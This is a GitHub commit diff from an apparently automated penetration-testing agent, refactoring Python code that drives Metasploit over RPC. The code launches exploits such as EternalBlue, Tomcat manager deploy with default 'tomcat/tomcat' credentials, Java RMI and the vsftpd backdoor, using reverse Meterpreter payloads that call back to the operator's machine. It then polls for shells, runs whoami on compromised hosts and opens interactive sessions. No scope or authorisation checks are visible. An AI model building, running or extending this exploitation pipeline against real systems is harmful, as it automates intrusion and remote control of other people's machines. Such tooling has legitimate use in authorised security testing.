Skip to content

Commit 9723102

Browse files
committed
Merge feature/phase-5-orchestration into develop
2 parents e682d8a + 3c592a8 commit 9723102

4 files changed

Lines changed: 119 additions & 135 deletions

File tree

agent/action_executor.py

Lines changed: 112 additions & 113 deletions
Original file line numberDiff line numberDiff line change
@@ -113,14 +113,6 @@ def _execute_recon(self, decision: Dict):
113113

114114
# ── Phase 3: Exploitation ─────────────────────────────────────────────
115115

116-
# Handler config per module: (payload, lport)
117-
_HANDLER_CONFIGS = {
118-
"exploit/multi/http/tomcat_mgr_deploy": ("java/meterpreter/reverse_tcp", 4444),
119-
"exploit/multi/misc/java_rmi_server": ("java/meterpreter/reverse_tcp", 4446),
120-
"exploit/unix/ftp/vsftpd_234_backdoor": ("cmd/unix/reverse_perl", 4445),
121-
"exploit/windows/smb/ms17_010_eternalblue": ("windows/x64/meterpreter/reverse_tcp", 4447),
122-
}
123-
124116
@staticmethod
125117
def _get_local_ip() -> str:
126118
import socket as _sock
@@ -136,22 +128,96 @@ def _get_local_ip() -> str:
136128
except Exception:
137129
pass
138130

139-
def _start_msf_handler(self, lhost: str, lport: int, payload: str):
140-
"""Start a multi/handler listener to receive the reverse callback."""
131+
132+
def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
133+
"""Banner + SESSION_OPENED event for a newly detected MSF session."""
134+
session_host = sinfo.get("session_host", sinfo.get("target_host", self.state.target))
135+
whoami_out = "N/A"
141136
try:
142-
handler = self.msf_client.modules.use("exploit", "multi/handler")
143-
handler["PAYLOAD"] = payload
144-
handler["LHOST"] = lhost
145-
handler["LPORT"] = lport
146-
handler["ExitOnSession"] = False
147-
pay = self.msf_client.modules.use("payload", payload)
148-
pay["LHOST"] = lhost
149-
pay["LPORT"] = lport
150-
handler.execute(payload=pay)
151-
time.sleep(2) # give the handler time to bind
152-
logger.info(f"MSF handler started: {payload} on {lhost}:{lport}")
137+
session_obj = self.msf_client.sessions.session(sid)
138+
stype = sinfo.get("type", "")
139+
arch = sinfo.get("arch", "")
140+
if stype == "meterpreter" and arch == "java":
141+
whoami_out = session_obj.run_with_output(
142+
'execute -f /bin/sh -a "-c whoami" -i', timeout=8
143+
).strip()
144+
else:
145+
whoami_out = session_obj.run_with_output("whoami", timeout=8).strip()
146+
except Exception:
147+
pass
148+
149+
w = 42
150+
print(f"\n{'═'*w}╗")
151+
print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
152+
print(f"╠{'═'*w}╣")
153+
print(f"║ Host : {session_host:<{w-11}}║")
154+
print(f"║ Via : {via_module.split('/')[-1]:<{w-11}}║")
155+
print(f"║ User : {whoami_out:<{w-11}}║")
156+
print(f"║ Session : {sid:<{w-11}}║")
157+
print(f"╠{'═'*w}╣")
158+
print(f"║ {'msfconsole → sessions -i ' + sid:<{w-1}}║")
159+
print(f"╚{'═'*w}\n")
160+
161+
self.bus.publish(Event(
162+
type=EventType.SESSION_OPENED,
163+
data={"session_id": sid, "host": session_host,
164+
"info": sinfo.get("info", ""), "via_exploit": via_module},
165+
source="msf_executor",
166+
))
167+
168+
# Modules that require LHOST — configured via RPC payload object
169+
_LHOST_MODULES = {
170+
"exploit/multi/http/tomcat_mgr_deploy": {
171+
"payload": "java/meterpreter/reverse_tcp",
172+
"lport": 4444,
173+
"extra": {"HttpUsername": "tomcat", "HttpPassword": "tomcat"},
174+
},
175+
"exploit/multi/misc/java_rmi_server": {
176+
"payload": "java/meterpreter/reverse_tcp",
177+
"lport": 4446,
178+
"extra": {},
179+
},
180+
"exploit/windows/smb/ms17_010_eternalblue": {
181+
"payload": "windows/x64/meterpreter/reverse_tcp",
182+
"lport": 4445,
183+
"extra": {},
184+
},
185+
}
186+
187+
def _execute_msf_module(self, module_name: str, target_ip: str, port: str,
188+
payload_name: str, lhost: str, lport: int) -> str:
189+
try:
190+
module_path = module_name.split("/", 1)[1] # strip "exploit/"
191+
exploit = self.msf_client.modules.use("exploit", module_path)
192+
exploit["RHOSTS"] = target_ip
193+
exploit["RPORT"] = str(port)
194+
195+
cfg = self._LHOST_MODULES.get(module_name, {})
196+
for k, v in cfg.get("extra", {}).items():
197+
exploit[k] = v
198+
199+
payload = self.msf_client.modules.use("payload", payload_name)
200+
payload["LHOST"] = lhost
201+
payload["LPORT"] = str(lport)
202+
203+
result = exploit.execute(payload=payload)
204+
205+
for _ in range(30):
206+
time.sleep(1)
207+
sessions = self.msf_client.sessions.list
208+
if sessions:
209+
for sid, sinfo in sessions.items():
210+
sid_str = str(sid)
211+
if sid_str not in self.state.sessions:
212+
self.state.sessions[sid_str] = sinfo
213+
self._handle_new_session(sid_str, sinfo, module_name)
214+
return "success"
215+
216+
return "completed"
217+
153218
except Exception as exc:
154-
logger.warning(f"Failed to start MSF handler: {exc}")
219+
logger.warning(f"MSF module execute error: {exc}")
220+
return "error"
155221

156222
def _execute_exploit(self, decision: Dict):
157223
host = decision.get("target_host", self.state.target)
@@ -167,112 +233,45 @@ def _execute_exploit(self, decision: Dict):
167233

168234
if tool == "metasploit" and self.msf_client:
169235
try:
170-
lhost = self._get_local_ip()
171-
handler_cfg = self._HANDLER_CONFIGS.get(module)
172-
173-
# Start handler BEFORE exploit for reverse payloads
174-
if handler_cfg:
175-
payload_name, lport = handler_cfg
176-
print(f"[AGENT] Starting handler {payload_name} on {lhost}:{lport}")
177-
self._start_msf_handler(lhost, lport, payload_name)
178-
else:
179-
payload_name = None
180-
lport = None
181-
182-
# Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
183-
module_type = module.split("/")[0]
184-
module_path = "/".join(module.split("/")[1:])
185-
print(f"[DEBUG] Lancement module : {module}")
186-
187-
client = self.msf_client
188-
mod = client.modules.use(module_type, module_path)
189-
mod["RHOSTS"] = host
190-
if port and port != "0":
191-
mod["RPORT"] = str(port)
192-
if lhost and payload_name:
193-
mod["LHOST"] = lhost
194-
mod["LPORT"] = str(lport)
195-
196-
# Tomcat default credentials
197-
if "tomcat" in module.lower():
198-
mod["HttpUsername"] = "tomcat"
199-
mod["HttpPassword"] = "tomcat"
200-
201-
print(f"[DEBUG] Options : RHOSTS={host}, RPORT={port}, "
202-
f"PAYLOAD={payload_name}, LHOST={lhost}, LPORT={lport}")
203-
204-
if payload_name:
205-
pay = client.modules.use("payload", payload_name)
206-
pay["LHOST"] = lhost
207-
pay["LPORT"] = str(lport)
208-
raw_result = mod.execute(payload=pay)
236+
lhost_cfg = self._LHOST_MODULES.get(module)
237+
if lhost_cfg:
238+
# Modules requiring LHOST → RPC API with separate payload object
239+
lhost = self._get_local_ip()
240+
status = self._execute_msf_module(
241+
module, host, port,
242+
lhost_cfg["payload"], lhost, lhost_cfg["lport"],
243+
)
244+
result = {"status": status, "output": f"RPC execute: {module}"}
209245
else:
210-
raw_result = mod.execute()
246+
# vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
247+
from exploitation.metasploit_engine import MetasploitEngine
248+
eng = MetasploitEngine()
249+
eng._client = self.msf_client
250+
result = eng.run_module(host, port, module)
211251

212-
print(f"[DEBUG] Résultat brut execute() : {raw_result}")
213-
print(f"[DEBUG] Type résultat : {type(raw_result)}")
252+
print(f"[AGENT] Exploit: {module} on {host}:{port}")
253+
print(f"[AGENT] Result: {result.get('status')}{result.get('output','')[:80]}")
214254

215-
# execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
216-
if isinstance(raw_result, bool) and not raw_result:
217-
logger.warning(f"Module execute() returned False — exploit failed")
218-
else:
255+
if result.get("status") == "success":
219256
self.state.exploits_success.append({"host": host, "module": module})
220257
self.bus.publish(Event(
221258
type=EventType.EXPLOIT_SUCCESS,
222259
data={"host": host, "port": port, "module": module},
223260
source="executor",
224261
))
225-
wait = 15 if handler_cfg else 8
226-
print(f"[AGENT] Waiting {wait}s for session callback...")
227-
time.sleep(wait)
228-
try:
262+
if lhost_cfg is None:
263+
# LHOST modules handle session detection internally;
264+
# only check here for Phase 3 bind-shell modules
265+
time.sleep(5)
229266
sessions = self.msf_client.sessions.list or {}
230-
print(f"[DEBUG] Sessions après {wait}s : {sessions}")
231267
for sid, sinfo in sessions.items():
232268
sid_str = str(sid)
233269
if sid_str not in self.state.sessions:
234270
self.state.sessions[sid_str] = sinfo
235-
session_host = sinfo.get("session_host",
236-
sinfo.get("target_host", host))
237-
via = sinfo.get("via_exploit", module)
238-
239-
# Confirm access with quick commands
240-
whoami_out, id_out, hostname_out = "N/A", "N/A", "N/A"
241-
try:
242-
sess_obj = self.msf_client.sessions.session(sid_str)
243-
whoami_out = sess_obj.run_with_output("whoami", timeout=8).strip()
244-
id_out = sess_obj.run_with_output("id", timeout=8).strip()
245-
hostname_out = sess_obj.run_with_output("hostname", timeout=8).strip()
246-
except Exception:
247-
pass
248-
249-
# Shell banner
250-
w = 42
251-
print(f"\n{'═'*w}╗")
252-
print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
253-
print(f"╠{'═'*w}╣")
254-
print(f"║ Host : {session_host:<{w-11}}║")
255-
print(f"║ Via : {via:<{w-11}}║")
256-
print(f"║ User : {whoami_out:<{w-11}}║")
257-
print(f"║ Session : {sid_str:<{w-11}}║")
258-
print(f"╠{'═'*w}╣")
259-
print(f"║ {'msfconsole → sessions -i ' + sid_str:<{w-1}}║")
260-
print(f"╚{'═'*w}\n")
261-
262-
self.bus.publish(Event(
263-
type=EventType.SESSION_OPENED,
264-
data={
265-
"session_id": sid_str,
266-
"host": session_host,
267-
"info": sinfo.get("info", ""),
268-
"via_exploit": via,
269-
},
270-
source="exploit_executor",
271-
))
272-
except Exception as exc:
273-
logger.debug(f"Post-exploit session check failed: {exc}")
271+
self._handle_new_session(sid_str, sinfo, module)
274272
except Exception as exc:
275-
logger.warning(f"Exploit error: {exc}")
273+
logger.warning(f"Exploit error [{module}]: {exc}")
274+
276275
elif tool == "hydra":
277276
self._run_hydra(host, int(port) if port.isdigit() else 22,
278277
decision.get("module_or_cmd", "ssh"))

agent/reactive_agent.py

Lines changed: 6 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -245,7 +245,7 @@ def run(self) -> MissionState:
245245
break
246246

247247
cycle += 1
248-
print(f"[DEBUG] actions_done au démarrage cycle {cycle}: {len(self.state.actions_done)} entrées")
248+
logger.debug(f"Cycle {cycle}: {len(self.state.actions_done)} actions done")
249249

250250
# Monitor MSF sessions
251251
if self.msf_client:
@@ -319,18 +319,11 @@ def _offer_interactive_shell(self):
319319
except (EOFError, KeyboardInterrupt):
320320
choice = "n"
321321
if choice == "o":
322-
sid = session_ids[0]
323-
print(f"[AGENT] Ouverture session {sid} dans msfconsole...")
324-
import subprocess
325-
try:
326-
subprocess.run(
327-
["msfconsole", "-q", "-x", f"sessions -i {sid}"]
328-
)
329-
except FileNotFoundError:
330-
print("[AGENT] msfconsole non trouvé. Connecte-toi manuellement :")
331-
print(f" msfconsole -q -x 'sessions -i {sid}'")
332-
except KeyboardInterrupt:
333-
print("\n[AGENT] Shell interactif fermé")
322+
import os
323+
session_id = session_ids[-1]
324+
print(f"\n[AGENT] Ouverture shell interactif session {session_id}...")
325+
print(f"[AGENT] Tape 'exit' pour quitter le shell\n")
326+
os.system(f'msfconsole -q -x "sessions -i {session_id}"')
334327

335328
def _force_resolution(self):
336329
"""Called after 5 consecutive skips — force post_exploit or mission_complete."""

exploitation/engine.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,6 @@ def run(self) -> List[Dict[str, Any]]:
136136
time.sleep(5)
137137
sessions_dict = self.msf_client.sessions.list
138138
self.session_ids = [str(k) for k in sessions_dict.keys()] if sessions_dict else []
139-
print(f"[DEBUG] Sessions récupérées dans engine.py : {sessions_dict}")
140139
logger.info(f"MSF session IDs captured: {self.session_ids}")
141140
if self.session_ids:
142141
self.session.results["msf_session_ids"] = self.session_ids

post_exploitation/engine.py

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -89,13 +89,7 @@ def __init__(
8989
def run(self) -> Dict[str, Any]:
9090
console.print(Rule("[bold red]Phase 4 — Post-Exploitation[/bold red]"))
9191

92-
# Debug: show direct sessions list and received session IDs
93-
if self.msf_client:
94-
try:
95-
print(f"[DEBUG] Sessions list direct : {self.msf_client.sessions.list}")
96-
except Exception as exc:
97-
print(f"[DEBUG] Sessions list error: {exc}")
98-
else:
92+
if not self.msf_client:
9993
# Standalone mode (--post-exploit-only): try to connect
10094
try:
10195
from exploitation.metasploit_engine import start_msfrpcd
@@ -104,7 +98,6 @@ def run(self) -> Dict[str, Any]:
10498
except Exception as exc:
10599
logger.warning(f"[Phase 4] Standalone MSF connect failed: {exc}")
106100

107-
print(f"[DEBUG] Session IDs reçus : {self.session_ids}")
108101
logger.info(f"[Phase 4] Session IDs: {self.session_ids}")
109102

110103
msf_sessions = self._get_msf_sessions()

0 commit comments

Comments
 (0)